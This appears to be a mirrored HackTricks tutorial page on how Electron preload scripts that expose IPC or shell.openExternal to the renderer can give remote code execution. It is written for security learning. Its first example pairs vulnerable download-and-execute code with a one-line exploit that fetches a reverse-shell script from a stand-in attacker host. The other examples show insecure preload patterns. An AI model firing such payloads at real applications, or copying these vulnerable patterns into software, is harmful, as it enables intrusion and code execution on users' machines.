mirror of
https://github.com/carlospolop/hacktricks
synced 2024-12-30 15:03:20 +00:00
129 lines
5.7 KiB
Markdown
129 lines
5.7 KiB
Markdown
|
|
|
|
<details>
|
|
|
|
<summary><strong>HackTricks in </strong><a href="https://twitter.com/carlospolopm"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
|
|
|
- Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
|
|
|
- Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
|
|
|
|
- Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
|
|
|
- **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
|
|
|
- **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**.
|
|
|
|
</details>
|
|
|
|
|
|
If the preload script exposes an IPC endpoint from the main.js file, the renderer process will be able to access it and if vulnerable, a RCE might be possible.
|
|
|
|
**All these examples were taken from here** [**https://www.youtube.com/watch?v=xILfQGkLXQo**](https://www.youtube.com/watch?v=xILfQGkLXQo)
|
|
|
|
# Example 1
|
|
|
|
Check how the `main.js` listens on `getUpdate` and will **download and execute any URL** passed.\
|
|
Check also how `preload.js` **exposes any IPC** event from main.
|
|
|
|
```javascript
|
|
// Part of code of main.js
|
|
ipcMain.on('getUpdate', (event, url) => {
|
|
console.log('getUpdate: ' + url)
|
|
mainWindow.webContents.downloadURL(url)
|
|
mainWindow.download_url = url
|
|
});
|
|
|
|
mainWindow.webContents.session.on('will-download', (event, item, webContents) => {
|
|
console.log('downloads path=' + app.getPath('downloads'))
|
|
console.log('mainWindow.download_url=' + mainWindow.download_url);
|
|
url_parts = mainWindow.download_url.split('/')
|
|
filename = url_parts[url_parts.length-1]
|
|
mainWindow.downloadPath = app.getPath('downloads') + '/' + filename
|
|
console.log('downloadPath=' + mainWindow.downloadPath)
|
|
// Set the save path, making Electron not to prompt a save dialog.
|
|
item.setSavePath(mainWindow.downloadPath)
|
|
|
|
item.on('updated', (event, state) => {
|
|
if (state === 'interrupted') {
|
|
console.log('Download is interrupted but can be resumed')
|
|
}
|
|
else if (state === 'progressing') {
|
|
if (item.isPaused()) console.log('Download is paused')
|
|
else console.log(`Received bytes: ${item.getReceivedBytes()}`)
|
|
}
|
|
})
|
|
|
|
item.once('done', (event, state) => {
|
|
if (state === 'completed') {
|
|
console.log('Download successful, running update')
|
|
fs.chmodSync(mainWindow.downloadPath, 0755);
|
|
var child = require('child_process').execFile;
|
|
child(mainWindow.downloadPath, function(err, data) {
|
|
if (err) { console.error(err); return; }
|
|
console.log(data.toString());
|
|
});
|
|
}
|
|
else console.log(`Download failed: ${state}`)
|
|
})
|
|
})
|
|
```
|
|
|
|
```javascript
|
|
// Part of code of preload.js
|
|
window.electronSend = (event, data) => {
|
|
ipcRenderer.send(event, data);
|
|
};
|
|
```
|
|
|
|
Exploit:
|
|
|
|
```html
|
|
<script>
|
|
electronSend("getUpdate","https://attacker.com/path/to/revshell.sh");
|
|
</script>
|
|
```
|
|
|
|
# Example 2
|
|
|
|
If the preload script exposes directly to the renderer a way t call shell.openExternal its possible to obtains RCE
|
|
|
|
```javascript
|
|
// Part of preload.js code
|
|
window.electronOpenInBrowser = (url) => {
|
|
shell.openExternal(url);
|
|
};
|
|
```
|
|
|
|
# Example 3
|
|
|
|
Is the preload script exposes ways to completely communicate with the main process, an XSS will be able to send any event. The impact of this depends on what the main process exposes in terms of IPC.
|
|
|
|
```javascript
|
|
window.electronListen = (event, cb) => {
|
|
ipcRenderer.on(event, cb);
|
|
};
|
|
|
|
window.electronSend = (event, data) => {
|
|
ipcRenderer.send(event, data);
|
|
};
|
|
```
|
|
|
|
|
|
<details>
|
|
|
|
<summary><strong>HackTricks in </strong><a href="https://twitter.com/carlospolopm"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
|
|
|
- Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
|
|
|
- Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
|
|
|
|
- Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
|
|
|
- **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
|
|
|
- **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**.
|
|
|
|
</details>
|
|
|
|
|